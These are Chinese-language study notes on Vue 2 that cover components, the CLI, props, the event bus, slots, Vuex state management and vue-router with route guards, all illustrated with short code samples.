(1)组件名尽可能回避HTML中已有的元素名称，例如：h2、H2都不行。 (2)可以使用name配置项指定组件在开发者工具中呈现的名字。

2.关于组件标签:

第一种写法： 第二种写法： 备注：不用使用脚手架时，会导致后续组件不能渲染。

3.一个简写方式：

const school = Vue.extend(options) 可简写为：const school = options

<div id="root">
    <hello></hello>
    <hr>
    <h1>{{msg}}</h1>
    <hr>
    <!-- 使用 school 组件 -->
    <school></school>
    <hr>
    <!-- 使用 student 组件 -->
    <student></student>
</div>

<div id="root2">
    <hello></hello>
</div>

<script type="text/javascript">
    Vue.config.productionTip = false;

    // 创建 school 组件
    const school = Vue.extend({
        template: `
            <div class="demo">
                <h2>学校名称：{{schoolName}}</h2>
                <h2>学校地址：{{address}}</h2>
                <button @click="showName">点我提示学校名</button>    
            </div>
        `,
        // 组件定义时，不要写 el 配置项
        data() {
            return {
                schoolName: '尚硅谷',
                address: '北京昌平'
            };
        },
        methods: {
            showName() {
                alert(this.schoolName);
            }
        },
    });

    // 创建 hello 组件
    const hello = Vue.extend({
        template: `<div>你好，世界！</div>`
    });

    // 创建 student 组件
    const student = Vue.extend({
        template: `<div>学生信息</div>`
    });

    // 全局注册 hello 组件
    Vue.component('hello', hello);

    // 创建第一个 Vue 实例
    new Vue({
        el: '#root',
        data: {
            msg: '你好啊！'
        },
        // 局部注册组件
        components: {
            school,
            student
        }
    });

    // 创建第二个 Vue 实例
    new Vue({
        el: '#root2'
    });
</script>

1.18.3 组件的嵌套

const app = Vue.extend({
    template:`
        <div>	
        <hello></hello>
        <school></school>
        </div>
    `,
    components:{
        school,
        hello
    }
})

1.18.4 关于VueComponent

（1）school组件本质是一个名为VueComponent的构造函数，且不是程序员定义的，是Vue.extend生成的。

（2）我们只需要写<school/>或<school></school>，Vue解析时会帮我们创建school组件的实例对象， 即Vue帮我们执行的：new VueComponent(options)。

（3）特别注意：每次调用Vue.extend，返回的都是一个全新的VueComponent！！！！

（4）关于this指向：

1⃣️组件配置中： data函数、methods中的函数、watch中的函数、computed中的函数 它们的this均是【VueComponent实例对象】。 2⃣️new Vue(options)配置中： data函数、methods中的函数、watch中的函数、computed中的函数 它们的this均是【Vue实例对象】

（5）VueComponent的实例对象，以后简称vc（也可称之为：组件实例对象）。 Vue的实例对象，以后简称vm

1.18.5 内置关系：

1.一个重要的内置关系：VueComponent.prototype.proto === Vue.prototype 2.为什么要有这个关系：让组件实例对象（vc）可以访问到 Vue原型上的属性、方法。 非单文件样式不能跟着组件走

// 创建一个 Vue 实例
const vm = new Vue({
    el: '#root',
    data: {
        msg: '你好'
    },
    components: {
        school
    }
});

// 定义一个构造函数
function Demo() {
    this.a = 1;
    this.b = 2;
}

// 创建一个 Demo 的实例对象
const d = new Demo();

// 输出原型属性和隐式原型属性
console.log(Demo.prototype); // 显示原型属性
console.log(d.__proto__); // 隐式原型属性
console.log(Demo.prototype === d.__proto__); // 比较显式原型和隐式原型是否相等

// 程序员通过显式原型属性操作原型对象，追加一个 x 属性，值为 99
Demo.prototype.x = 99;

1.19 ⭐️单文件组件（xx.vue）

xxx.vue文件可以识别三种标签:

<template><script><style>

（1）index.html

（2）main.js

（3）vue组件

二、脚手架搭建

关于不同版本的Vue

1. vue.js与vue.runtime.xxx.js的区别： (1)vue.js是完整版的Vue，包含：核心功能+模板解析器。 (2)vue.runtime.xxx.js是运行版的Vue，只包含：核心功能；没有模板解析器。

2. 因为vue.runtime.xxx.js没有模板解析器，所以不能使用template配置项，需要使用 render函数接收到的createElement函数去指定具体内容。

vue.config.js 配置文件

1. 使用 vue inspect > output.js 可以查看到 Vue 脚手架的默认配置。
2. 使用 vue.config.js 可以对脚手架进行个性化定制，详情见：cli.vuejs.org/zh

2.1 Vue脚手架的配置文件

    ├── node_modules
    ├── public
    │   ├── favicon.ico: 页签图标
    │   └── index.html: 主页面
    ├── src
    │   ├── assets: 存放静态资源
    │   │   └── logo.png
    │   │── component: 存放组件
    │   │   └── HelloWorld.vue
    │   │── App.vue: 汇总所有组件
    │   │── main.js: 入口文件
    ├── .gitignore: git版本管制忽略的配置
    ├── babel.config.js: babel的配置文件
    ├── package.json: 应用包配置文件
    ├── README.md: 应用描述文件
    ├── package-lock.json：包版本控制文件

main.js

组件.vue：快捷键<v 回车

2.2 refs属性

1. 被用来给元素或子组件注册引用信息（id的替代者）

2. 应用在html标签上获取的是真实DOM元素，应用在组件标签上是组件实例对象（vc）

3. 使用方式：

打标识：<h1 ref="xxx">.....</h1> 或 <School ref="xxx"></School>

获取：this.$refs.xxx

2.3 配置项props

1. 功能：让组件接收外部传过来的数据
2. 传递数据：
3. 接收数据：
4. 第一种方式（只接收）：props:['name']
5. 第二种方式（限制类型）：props:{name:String}
6. 第三种方式（限制类型、限制必要性、指定默认值）：

props:{
    name:{
        type:String, //类型
        required:true, //必要性
        default:'老王' //默认值
    }
}

> 备注：props是只读的，Vue底层会监测你对props的修改，如果进行了修改，就会发出警告，若业务需求确实需要修改，那么请复制props的内容到data中一份，然后去修改data中的数据。

2.4 Mixin 混入对象

1. 功能：可以把多个组件共用的配置提取成一个混入对象

2. 使用方式：

   第一步定义混合：

   {
       data(){....},
       methods:{....}
       ....
   }
   

   第二步使用混入：

   全局混入：Vue.mixin(xxx) 局部混入：mixins:['xxx']

2.5 插件plugin

1. 功能：用于增强Vue
2. 本质：包含install方法的一个对象，install的第一个参数是Vue，第二个以后的参数是插件使用者传递的数据。
3. 定义插件：

对象.install = function (Vue, options) {
        // 1. 添加全局过滤器
        Vue.filter(....)
    
        // 2. 添加全局指令
        Vue.directive(....)
    
        // 3. 配置全局混入(合)
        Vue.mixin(....)
    
        // 4. 添加实例方法
        Vue.prototype.$myMethod = function () {...}
        Vue.prototype.$myProperty = xxxx
    }

1. 使用插件：Vue.use()

2.6 scope

1. 作用：让样式在局部（当前组件）生效，防止冲突。
2. 写法：<style scoped> 默认用css写样式

<style lang=’less’ scoped> 用less写样式

2.7 总结 TodoList 案例

数据在哪里，操作数据的方法就在哪里

1. 组件化编码流程：

(1)拆分静态组件：组件要按照功能点拆分，命名不要与html元素冲突。

(2)实现动态组件：考虑好数据的存放位置，数据是一个组件在用，还是一些组件在用：

• 一个组件在用：放在组件自身即可。
• 一些组件在用：放在他们共同的父组件上（状态提升）。 (3)实现交互：从绑定事件开始。

1. props适用于：

   (1)父组件 ==> 子组件 通信

   (2)子组件 ==> 父组件 通信（要求父先给子一个函数）

2. 使用v-model时要切记：v-model绑定的值不能是props传过来的值，因为props是不可以修改的！

3. props传过来的若是对象类型的值，修改对象中的属性时Vue不会报错，但不推荐这样做。

2.8 webStorage 缓存

1. 存储内容大小一般支持5MB左右（不同浏览器可能还不一样）
2. 浏览器端通过 Window.sessionStorage 和 Window.localStorage 属性来实现本地存储机制。
3. 相关API： （1）xxxxxStorage.setItem('key', 'value'); 该方法接受一个键和值作为参数，会把键值对添加到存储中，如果键名存在，则更新其对应的值。
   （2）xxxxxStorage.getItem('person'); 该方法接受一个键名作为参数，返回键名对应的值。
   （3）xxxxxStorage.removeItem('key'); 该方法接受一个键名作为参数，并把该键名从存储中删除。
   （4） xxxxxStorage.clear() 该方法会清空存储中的所有数据。
4. 备注：
   1. SessionStorage存储的内容会随着浏览器窗口关闭而消失。
   2. LocalStorage存储的内容，需要手动清除才会消失。
   3. xxxxxStorage.getItem(xxx)如果xxx对应的value获取不到，那么getItem的返回值是null。
   4. JSON.parse(null)的结果依然是null。

2.9 组件自定义事件：

1. 一种组件间通信的方式，适用于：子组件 ===> 父组件
2. 使用场景：A是父组件，B是子组件，B想给A传数据，那么就要在A中给B绑定自定义事件（事件的回调在A中）。
3. 绑定自定义事件：
   1. 第一种方式，在父组件中：<Demo @atguigu="test"/> 或 <Demo v-on:atguigu="test"/>
   2. 第二种方式，在父组件中：

<Demo ref="demo"/>
 ......
mounted(){
   this.$refs.xxx.$on('atguigu',this.test)
} 

3. 若想让自定义事件只能触发一次，可以使用once修饰符，或$once方法。 4. 触发自定义事件：this.$emit('atguigu',数据)

5. 解绑自定义事件this.$off('atguigu')
6. 组件上也可以绑定原生DOM事件，需要使用native修饰符。
7. 注意：通过this.$refs.xxx.$on('atguigu',回调)绑定自定义事件时，回调要么配置在methods中，要么用箭头函数，否则this指向会出问题！

<template>
    <div class="app">
        <h1>{{msg}}，学生姓名是:{{studentName}}</h1>
        <!-- 通过父组件给子组件传递函数类型的props实现：子给父传递数据 -->
        <School :getSchoolName="getSchoolName"/>
        <!-- 通过父组件给子组件绑定一个自定义事件实现：子给父传递数据（第一种写法，使用@或v-on） -->
        <!-- <Student @atguigu="getStudentName" @demo="m1"/> -->
        <!-- 通过父组件给子组件绑定一个自定义事件实现：子给父传递数据（第二种写法，使用ref） -->
        <Student ref="student" @click.native="show"/>
    </div>
</template>

2.10 全局事件总线（GlobalEventBus）

1. 一种组件间通信的方式，适用于任意组件间通信。
2. 安装全局事件总线：

new Vue({
    ......
    beforeCreate() {
        Vue.prototype.$bus = this //安装全局事件总线，$bus就是当前应用的vm
    },
    ......
}) 

3. 使用事件总线： （1）接收数据：A组件想接收数据，则在A组件中给$bus绑定自定义事件，事件的回调留在A组件自身。

methods(){ 
    demo(data){......
    } 
  }
...... 
mounted() { 
    this.$bus.$on('xxxx',this.demo) 
  }

（2）提供数据：this.$bus.$emit('xxxx',数据)

4. 最好在beforeDestroy钩子中，用$off去解绑当前组件所用到的事件

html
<script>
export default {
    name: 'School',
    data() {
        return {
            name: '尚硅谷',
            address: '北京',
        };
    },
    mounted() {
        // 监听事件 'hello'，并处理接收到的数据
        this.$bus.$on('hello', (data) => {
            console.log('我是School组件，收到了数据', data);
        });
    },
    beforeDestroy() {
        // 组件销毁前移除事件监听
        this.$bus.$off('hello');
    },
};
 </script>

2.11 消息订阅与发布（pubsub）

1. 一种组件间通信的方式，适用于任意组件间通信。

2. 使用步骤：

   1. 安装pubsub：npm i pubsub-js
   2. 引入: import pubsub from 'pubsub-js'
   3. 接收数据：A组件想接收数据，则在A组件中订阅消息，订阅的回调留在A组件自身。

methods(){
demo(data){......}
}
......
mounted() {
this.pid = pubsub.subscribe('xxx',this.demo) //订阅消息
}

4. 提供数据：pubsub.publish('xxx',数据)
5. 最好在beforeDestroy钩子中，用PubSub.unsubscribe(pid)去<span style="color:red">取消订阅。</span>

<script>
export default {
    name: 'School',
    data() {
        return {
            name: '尚硅谷',
            address: '北京',
        };
    },
    mounted() {
        // 监听 'hello' 事件并处理接收到的数据
        this.$bus.$on('hello', (data) => {
            console.log('我是School组件，收到了数据', data);
        });
    },
    beforeDestroy() {
        // 组件销毁前移除 'hello' 事件监听
        this.$bus.$off('hello');
    },
};
</script>

<div class="app">
<h1>{{msg}}，学生姓名是:{{studentName}}</h1>
<!-- 通过父组件给子组件传递函数类型的props实现：子给父传递数据 -->
<School :getSchoolName="getSchoolName"/>

<!-- 通过父组件给子组件绑定一个自定义事件实现：子给父传递数据（第一种写法，使用@或v-on） -->
<!-- <Student @atguigu="getStudentName" @demo="m1"/> -->

<!-- 通过父组件给子组件绑定一个自定义事件实现：子给父传递数据（第二种写法，使用ref） -->
<Student ref="student" @click.native="show"/>
</div>

2.12 nextTick

1. 语法：this.$nextTick(回调函数)
2. 作用：在下一次 DOM 更新结束后执行其指定的回调。
3. 什么时候用：当改变数据后，要基于更新后的新 DOM 进行某些操作时，要在 nextTick 所指定的回调函数中执行。

vue中DOM的更新是异步的，过程如下：

首先，当 Vue 组件中的响应式数据发生变化时，Vue 会检测到这一变化，并标记需要更新的组件。然后，Vue 不会立即进行 DOM 更新，而是将这些更新操作放入一个异步更新队列。这种方式可以合并多次数据变化，避免频繁的 DOM 更新，提升性能。**最后，**在 JavaScript 的事件循环机制中，Vue 会在当前任务队列（microtasks 和 tasks）完成后，处理更新队列中的所有更新操作。在这个过程中，DOM 就会被重新渲染和更新。

DOM 更新完毕的具体时机：在 Vue 的异步更新队列被处理完毕之后，也就是在下一次事件循环开始时。

2.13 Vue 封装的过度与动画

1. 作用：在插入、更新或移除 DOM 元素时，在合适的时候给元素添加样式类名。
2. 图示：

<img src="<https://img04.sogoucdn.com/app/a/100520146/5990c1dff7dc7a8fb3b34b4462bd0105>" style="width:60%" alt="转存失败，建议直接上传图片文件">

3. 写法：

（1）准备好样式：

-元素进入的样式：

1. v-enter：进入的起点

2. v-enter-active：进入过程中

3. v-enter-to：进入的终点

-元素离开的样式：

1. v-leave：离开的起点

2. v-leave-active：离开过程中

3. v-leave-to：离开的终点

（2）使用<transition>包裹要过度的元素，并配置 name 属性： vue <transition name="hello"> <h1 v-show="isShow">你好啊！</h1> </transition>

（3）备注：若有多个元素需要过度，则需要使用：<transition-group>，且每个元素都要指定key值。

2.14 vue 脚手架配置代理

遇到跨域问题时，通常会使用代理服务器来解决。

方法一：

在 vue.config.js 中添加如下配置：

devServer: {
  proxy: "<http://localhost:5000>";
}

说明：

1. 优点：配置简单，请求资源时直接发给前端（8080）即可。
2. 缺点：不能配置多个代理，不能灵活的控制请求是否走代理。
3. 工作方式：

• 当请求的路径在前端（如本地的 localhost:8080）没有匹配到相应的资源时，Vue 的开发服务器会将请求转发到 http://localhost:5000。
• 例如，当你请求 http://localhost:8080/api/test，但前端没有这个路径时，代理会将请求转发到 http://localhost:5000/api/test。

方法二：

编写 vue.config.js 配置具体代理规则：

module.exports = {
  devServer: {
    proxy: {
      "/api1": {
        // 匹配所有以 '/api1'开头的请求路径，
        //将所有以 /api1 开头的请求代理到 <http://localhost:5000>
        target: "<http://localhost:5000>", // 代理目标的基础路径
        changeOrigin: true,
        pathRewrite: { "^/api1": "" },
      },
      "/api2": {
        // 匹配所有以 '/api2'开头的请求路径
        target: "<http://localhost:5001>", // 代理目标的基础路径
        changeOrigin: true,
        pathRewrite: { "^/api2": "" },
      },
    },
  },
};
/* changeOrigin决定代理请求时是否改变请求头中的 host 字段。
   changeOrigin设置为true时，服务器收到的请求头中的host为：localhost:5000
   changeOrigin设置为false时，服务器收到的请求头中的host为：localhost:8080
   changeOrigin默认值为true
*/

说明：

1. 优点：可以配置多个代理，且可以灵活的控制请求是否走代理。
2. 缺点：配置略微繁琐，请求资源时必须加前缀。

2.15 插槽

1. 作用：让父组件可以向子组件指定位置插入 html 结构，也是一种组件间通信的方式，适用于 父组件 ===> 子组件 。
2. 分类：默认插槽、具名插槽、作用域插槽
3. 使用方式：

（1） 默认插槽：

父组件中：
<Category>
   <div>html结构1</div>
</Category>

子组件中：
<template>
   <div>
		  <!-- 定义插槽 -->
      <slot>插槽默认内容...</slot>
   </div>
</template>

2. 具名插槽：

父组件中：
<Category>
		<template slot="center">
        <div>html结构1</div>
    </template>
    <template v-slot:footer>
        <div>html结构2</div>
    </template>               
</Category>

子组件中：
      <template>
        <div>
          <!-- 定义插槽 -->
          <slot name="center">插槽默认内容...</slot>
          <slot name="footer">插槽默认内容...</slot>
        </div>
      </template>

3. 作用域插槽：

假设我们有一个子组件，它有一个列表，列表中的每一项数据需要由父组件来决定如何展示。我们可以通过作用域插槽将每一项的数据传递给父组件。

理解：

数据在组件的自身，但根据数据生成的结构需要组件使用者决定（games 数据在 Category 组件中，但使用数据所遍历出来的结构由 App 组件决定）

应用场景：

1. 列表渲染： 在子组件中循环数据，并将每一项的数据传递给父组件，父组件可以自定义如何渲染列表项。
2. 动态内容展示： 子组件提供多个数据点，父组件可以根据不同的条件渲染不同的内容。
3. 组件复用： 子组件提供数据，父组件可以在不同的场景下以不同的方式渲染这些数据，从而提高组件的复用性。

具体编码：

//父组件
<template>
  <div>
    <!-- 使用 Category 组件，生成 ul 列表 -->
    <Category>
      <template v-slot:default="scopeData">
        <ul>
          <li v-for="g in scopeData.games" :key="g">{{ g }}</li>
        </ul>
      </template>
    </Category>

    <!-- 使用 Category 组件，生成 h4 标题 -->
    <Category>
      <template v-slot:default="scopeData">
        <h4 v-for="g in scopeData.games" :key="g">{{ g }}</h4>
      </template>
    </Category>
  </div>
</template>

    
//子组件
<template>
  <div>
    <!-- 插槽，向父组件传递 games 数据 -->
    <slot :games="games"></slot>
  </div>
</template>

<script>
export default {
  name: "Category",
  props: ["title"],
  // 数据在子组件自身
  data() {
    return {
      games: ["红色警戒", "穿越火线", "劲舞团", "超级玛丽"],
    };
  },
};
</script>

2.16 Vuex

1.概念

在 Vue 中实现集中式状态（数据）管理的一个 Vue 插件，对 vue 应用中多个组件的共享状态进行集中式的管理（读/写），也是一种组件间通信的方式，且适用于任意组件间通信。

2.何时使用？

多个组件需要共享数据时

3.搭建 vuex 环境

（1）创建文件：src/store/index.js

   //引入Vue核心库
   import Vue from "vue";
   //引入Vuex
   import Vuex from "vuex";
   //应用Vuex插件
   Vue.use(Vuex);

   //准备actions对象——响应组件中用户的动作
   const actions = {};
   //准备mutations对象——修改state中的数据
   const mutations = {};
   //准备state对象——保存具体的数据
   const state = {};

   //创建并暴露store
   export default new Vuex.Store({
     actions,
     mutations,
     state,
   });

2. 在main.js中创建 vm 时传入store配置项

	 //引入store
   import store from './store'
   ......

   //创建vm
   new Vue({
   	el:'#app',
   	render: h => h(App),
   	store
   })

4.基本使用 （1）初始化数据、配置actions、配置mutations，操作文件store.js

 //引入Vue核心库
   import Vue from "vue";
   //引入Vuex
   import Vuex from "vuex";
   //引用Vuex
   Vue.use(Vuex);

   const actions = {
     //响应组件中加的动作
     jia(context, value) {
       // console.log('actions中的jia被调用了',miniStore,value)
       context.commit("JIA", value);
     },
   };

   const mutations = {
     //执行加
     JIA(state, value) {
       // console.log('mutations中的JIA被调用了',state,value)
       state.sum += value;
     },
   };

   //初始化数据
   const state = {
     sum: 0,
   };

   //创建并暴露store
   export default new Vuex.Store({
     actions,
     mutations,
     state,
   });

（2）组件中读取 vuex 中的数据：$store.state.sum

（3）组件中修改 vuex 中的数据：

$store.dispatch('action中的方法名',数据) 或

$store.commit('mutations中的方法名',数据)

备注：若没有网络请求或其他业务逻辑，组件中也可以越过 actions，即不写dispatch，直接编写commit

1. getters 的使用

（1）概念：当 state 中的数据需要经过加工后再使用时，可以使用 getters 加工。

（2）在store.js中追加getters配置

......
   const getters = {
   	bigSum(state){
   		return state.sum * 10
   	}
   }

   //创建并暴露store
   export default new Vuex.Store({
   	......
   	getters
   })

（3）组件中读取数据：$store.getters.bigSum

1. 四个 map 方法的使用

（1）mapState 方法：

用于帮助我们映射state中的数据为计算属性

通常，在不使用 mapState 的情况下，如果你想在 Vue 组件中访问 Vuex 中的 state 数据，你需要这样写：

computed: {
  sum() {
    return this.$store.state.sum;
  },
  school() {
    return this.$store.state.school;
  }
}

这段代码定义了两个计算属性 sum 和 school，分别从 Vuex 的 state 中获取 sum 和 school 的值。

但是，使用 mapState 后，你可以更简洁地实现相同的功能：

computed: {
       //借助mapState生成计算属性：sum、school、subject（对象写法）
        ...mapState({sum:'sum',school:'school',subject:'subject'}),

       //借助mapState生成计算属性：sum、school、subject（数组写法）
       ...mapState(['sum','school','subject']),
   },

（2）mapGetters 方法：

用于帮助我们映射getters中的数据为计算属性

computed: {
       //借助mapGetters生成计算属性：bigSum（对象写法）
       ...mapGetters({bigSum:'bigSum'}),

       //借助mapGetters生成计算属性：bigSum（数组写法）
       ...mapGetters(['bigSum'])
   },

（3）mapActions方法：

用于帮助我们生成与actions对话的方法，即：包含$store.dispatch(xxx)的函数

methods:{
       //靠mapActions生成：incrementOdd、incrementWait（对象形式）
       ...mapActions({incrementOdd:'jiaOdd',incrementWait:'jiaWait'})

       //靠mapActions生成：incrementOdd、incrementWait（数组形式）
       ...mapActions(['jiaOdd','jiaWait'])
   }

（4）mapMutations 方法：

用于帮助我们生成与mutations对话的方法，即：包含$store.commit(xxx)的函数

   methods:{
       //靠mapActions生成：increment、decrement（对象形式）
       ...mapMutations({increment:'JIA',decrement:'JIAN'}),

       //靠mapMutations生成：JIA、JIAN（对象形式）
       ...mapMutations(['JIA','JIAN']),
   }

备注：mapActions 与 mapMutations 使用时，若需要传递参数需要：在模板中绑定事件时传递好参数，否则参数是事件对象。

1. 模块化+命名空间

（1）目的：让代码更好维护，让多种数据分类更加明确。 （2）修改store.js

   const countAbout = {
     namespaced:true,//开启命名空间
     state:{x:1},
     mutations: { ... },
     actions: { ... },
     getters: {
       bigSum(state){
          return state.sum * 10
       }
     }
   }

   const personAbout = {
     namespaced:true,//开启命名空间
     state:{ ... },
     mutations: { ... },
     actions: { ... }
   }

   const store = new Vuex.Store({
     modules: {
       countAbout,
       personAbout
     }
   })

（3）开启命名空间后，组件中读取 state 数据

   //方式一：自己直接读取
   this.$store.state.personAbout.list
   //方式二：借助mapState读取, 映射了 countAbout 的 state
   ...mapState('countAbout',['sum','school','subject']),

（4）开启命名空间后，组件中读取 getters 数据：

   //方式一：自己直接读取
   this.$store.getters['personAbout/firstPersonName']
   //方式二：借助mapGetters读取：
   ...mapGetters('countAbout',['bigSum'])

（5）开启命名空间后，组件中调用 dispatch

 //方式一：自己直接dispatch
   this.$store.dispatch('personAbout/addPersonWang',person)
 //方式二：借助mapActions：
   ...mapActions('countAbout',{incrementOdd:'jiaOdd',incrementWait:'jiaWait'})

（6）开启命名空间后，组件中调用 commit

   //方式一：自己直接commit
   this.$store.commit('personAbout/ADD_PERSON',person)
   //方式二：借助mapMutations：
   ...mapMutations('countAbout',{increment:'JIA',decrement:'JIAN'}),

2.17 路由

1. 理解

一个路由（route）就是一组映射关系（key - value），多个路由需要路由器（router）进行管理。

2. 前端路由

key 是路径，value 是组件。

（1）基本使用

（2）安装 vue-router，命令：npm i vue-router

（3）应用插件：Vue.use(VueRouter)

（4）编写 router 配置项:

 //引入VueRouter
   import VueRouter from "vue-router";
   //引入Luyou 组件
   import About from "../components/About";
   import Home from "../components/Home";

   //创建router实例对象，去管理一组一组的路由规则
   const router = new VueRouter({
     routes: [
       {
         path: "/about",
         component: About,
       },
       {
         path: "/home",
         component: Home,
       },
     ],
   });

   //暴露router
   export default router;

（4）实现切换（active-class 可配置高亮样式）

 <router-link active-class="active" to="/about">About</router-link>

（5）指定展示位置

 <router-view></router-view>

几个注意点

1. 路由组件通常存放在pages文件夹，一般组件通常存放在components文件夹。
2. 通过切换，“隐藏”了的路由组件，默认是被销毁掉的，需要的时候再去挂载。
3. 每个组件都有自己的$route属性，里面存储着自己的路由信息。
4. 整个应用只有一个 router，可以通过组件的$router属性获取到。

3.多级路由（多级路由）

（1）配置路由规则，使用 children 配置项：

routes: [
     {
       path: "/about",
       component: About,
     },
     {
       path: "/home",
       component: Home,
       children: [
         //通过children配置子级路由
         {
           path: "news", //此处一定不要写：/news
           component: News,
         },
         {
           path: "message", //此处一定不要写：/message
           component: Message,
         },
       ],
     },
   ];

（2）跳转（要写完整路径）：

<router-link to="/home/news">News</router-link>

4.路由的 query 参数

在 Vue.js 中，路由的 query 参数是 URL 中的查询字符串，用于在 URL 中传递一些额外的参数。查询字符串是位于 URL 中 ? 号后面的一组键值对，用于给路由传递非必须的参数。

（1）传递参数

<!-- 跳转并携带query参数，to的字符串写法 -->
   <router-link :to="/home/message/detail?id=666&title=你好">跳转</router-link>

<!-- 跳转并携带query参数，to的对象写法 -->
   <router-link
     :to="{
       path: '/home/message/detail',
       query: {
         id: 666,
         title: '你好',
       },
     }"
   >跳转</router-link>

（2）接收参数：

$route.query.id;
$route.query.title;

5.命名路由

作用：可以简化路由的跳转。

如何使用：

（1）给路由命名：

{
  path: '/demo',
  component: Demo,
  children: [
    {
      path: 'test',
      component: Test,
      children: [
        {
          name: 'hello', // 给路由命名
          path: 'welcome',
          component: Hello,
        }
      ]
    }
  ]
}

（2）简化跳转：

      <!--简化前，需要写完整的路径 -->
      <router-link to="/demo/test/welcome">跳转</router-link>

      <!--简化后，直接通过名字跳转 -->
      <router-link :to="{ name: 'hello' }">跳转</router-link>

      <!--简化写法配合传递参数 -->
      <router-link
        :to="{
          name: 'hello',
          query: {
            id: 666,
            title: '你好',
          },
        }"
      >跳转</router-link>

6.路由的 params 参数

路由的 params 参数是指在路由路径中通过动态路径参数传递的数据。这些参数通常用于构建更具动态性的 URL，并在路由匹配时将参数值传递给组件。

假设你定义了一个路由，路径中包含动态路径参数：

{
  path: '/user/:id',
  component: UserComponent
}

在这个路径中，:id 是一个动态路径参数，表示这个部分可以是任意值。例如，访问 /user/123 或 /user/456 时，123 和 456 都会作为参数传递给 UserComponent。

（1）配置路由，声明接收 params 参数

{
       	path:'/home',
       	component:Home,
       	children:[
       		{
       			path:'news',
       			component:News
       		},
       		{
       			component:Message,
       			children:[
       				{
       					name:'xiangqing',
       					path:'detail/:id/:title', //使用占位符声明接收params参数
       					component:Detail
       				}
       			]
       		}
       	]
       }

（2）传递参数

 <!-- 跳转并携带params参数，to的字符串写法 -->
   <router-link :to="/home/message/detail/666/你好">跳转</router-link>

<!-- 跳转并携带params参数，to的对象写法 -->
   <router-link
     :to="{
       name: 'xiangqing',
       params: {
         id: 666,
         title: '你好',
       },
     }"
   >跳转</router-link>
   
> 特别注意：路由携带 params 参数时，若使用 to 的对象写法，则不能使用 path 配置项，必须使用 name 配置！

（3）接收参数：

$[route.params.id](http://route.params.id); 
$route.params.title;

7. 路由的 props 配置

作用：让路由组件更方便的收到参数

props 配置是一种将路由参数（如 params、query 等）直接传递给组件作为 props 的简便方法。这使得组件可以更容易地接收和使用路由参数，而不必通过 this.$route 来访问它们。

为什么使用 props 配置？

通常情况下，组件需要通过 this.$route.params 或 this.$route.query 来访问路由参数。但这种方式会让组件与路由紧密耦合，不够灵活。通过使用 props 配置，可以使组件更加独立和可复用，因为参数会以 props 的形式传递给组件，而不依赖于路由对象。

{
	name:'xiangqing',
	path:'detail/:id',
	component:Detail,

	//第一种写法：props值为对象，该对象中所有的key-value的组合最终都会通过props传给Detail组件
	// props:{a:900}

	//第二种写法：props值为布尔值，布尔值为true，则把路由收到的所有params参数通过props传给Detail组件
	// props:true

	//第三种写法：props值为函数，该函数返回的对象中每一组key-value都会通过props传给Detail组件
	props(route){
		return {
			id:route.query.id,
			title:route.query.title
		}
	}
}

8. <router-link>的 replace 属性

（1）作用：控制路由跳转时操作浏览器历史记录的模式

（2）浏览器的历史记录有两种写入方式：分别为push和replace，push是追加历史记录，replace是替换当前记录。路由跳转时候默认为push

（3）如何开启replace模式：<router-link replace .......>News</router-link>

9. 编程式路由导航

（1）作用：不借助<router-link> 实现路由跳转，让路由跳转更加灵活

（2）具体编码：

 //$router的两个API
   this.$router.push({
     name: "xiangqing",
     params: {
       id: xxx,
       title: xxx,
     },
   });

   this.$router.replace({
     name: "xiangqing",
     params: {
       id: xxx,
       title: xxx,
     },
   });
   this.$router.forward(); //前进
   this.$router.back(); //后退
   this.$router.go(); //可前进也可后退

10. 缓存路由组件

（1）作用：让不展示的路由组件保持挂载，不被销毁。

（2）可以在 router-view 外部使用 keep-alive，从而缓存所有通过 router-view 加载的路由组件。

如果你只想缓存特定的路由组件，可以结合 include 和 exclude 属性使用。include 接受一个字符串或正则表达式，只有名称匹配的组件才会被缓存；exclude 接受一个字符串或正则表达式，匹配的组件不会被缓存。

（3）可以在路由配置中为某些组件设置缓存，通过路由 meta 字段控制。

const routes = [
	{
		path: '/home',
		component: Home,
		meta: { keepAlive: true } // 需要缓存
	},
	{
		path: '/about',
		component: About,
		meta: { keepAlive: false } // 不需要缓存
	}
];

具体编码：

 <keep-alive include="News"> 
    <router-view></router-view>
 </keep-alive>

11. 两个新的生命周期钩子

（1）作用：路由组件所独有的两个钩子，用于捕获路由组件的激活状态。

（2）具体名字： activated当使用 keep-alive 缓存的路由组件被激活时触发。 deactivated当使用 keep-alive 缓存的路由组件失活（即从视图中隐藏）时触发。

（3）使用：

这两个钩子常与 keep-alive 组件结合使用，可以在组件进入和离开视图时执行一些资源管理或状态维护操作。路由切换时，组件并不会被销毁，而是被缓存，此时 activated 和 deactivated 钩子会在组件的显示和隐藏时触发。

12. 路由守卫

（1）作用：对路由进行权限控制

（2）分类：全局守卫、独享守卫、组件内守卫

（3）全局守卫:

//全局前置守卫：初始化时执行、每次路由切换前执行
       router.beforeEach((to, from, next) => {
         console.log("beforeEach", to, from);
         if (to.meta.isAuth) {
           //判断当前路由是否需要进行权限控制
           if (localStorage.getItem("school") === "atguigu") {
             //权限控制的具体规则
             next(); //放行
           } else {
             alert("暂无权限查看");
             // next({name:'guanyu'})
           }
         } else {
           next(); //放行
         }
       });

//全局后置守卫：初始化时执行、每次路由切换后执行
       router.afterEach((to, from) => {
         console.log("afterEach", to, from);
         if (to.meta.title) {
           document.title = to.meta.title; //修改网页的title
         } else {
           document.title = "vue_test";
         }
       });

（4）独享守卫:

   beforeEnter(to,from,next){
   	console.log('beforeEnter',to,from)
   	if(to.meta.isAuth){ //判断当前路由是否需要进行权限控制
   		if(localStorage.getItem('school') === 'atguigu'){
   			next()
   		}else{
   			alert('暂无权限查看')
   			// next({name:'guanyu'})
   		}
   	}else{
   		next()
   	}
   }

（5）组件内守卫：

//进入守卫：通过路由规则，进入该组件时被调用
   beforeRouteEnter (to, from, next) {
   },
//离开守卫：通过路由规则，离开该组件时被调用
   beforeRouteLeave (to, from, next) {
   }

13. 路由器的两种工作模式

（1）对于一个 url 来说，什么是 hash 值？—— #及其后面的内容就是 hash 值。

（2）hash 值不会包含在 HTTP 请求中，即：hash 值不会带给服务器。

（3）hash 模式：

1. 地址中永远带着#号，不美观 。
2. 若以后将地址通过第三方手机 app 分享，若 app 校验严格，则地址会被标记为不合法。
3. 兼容性较好。

（4）history 模式：

1. 地址干净，美观 。
2. 兼容性和 hash 模式相比略差。
3. 应用部署上线时需要后端人员支持，解决刷新页面服务端 404 的问题。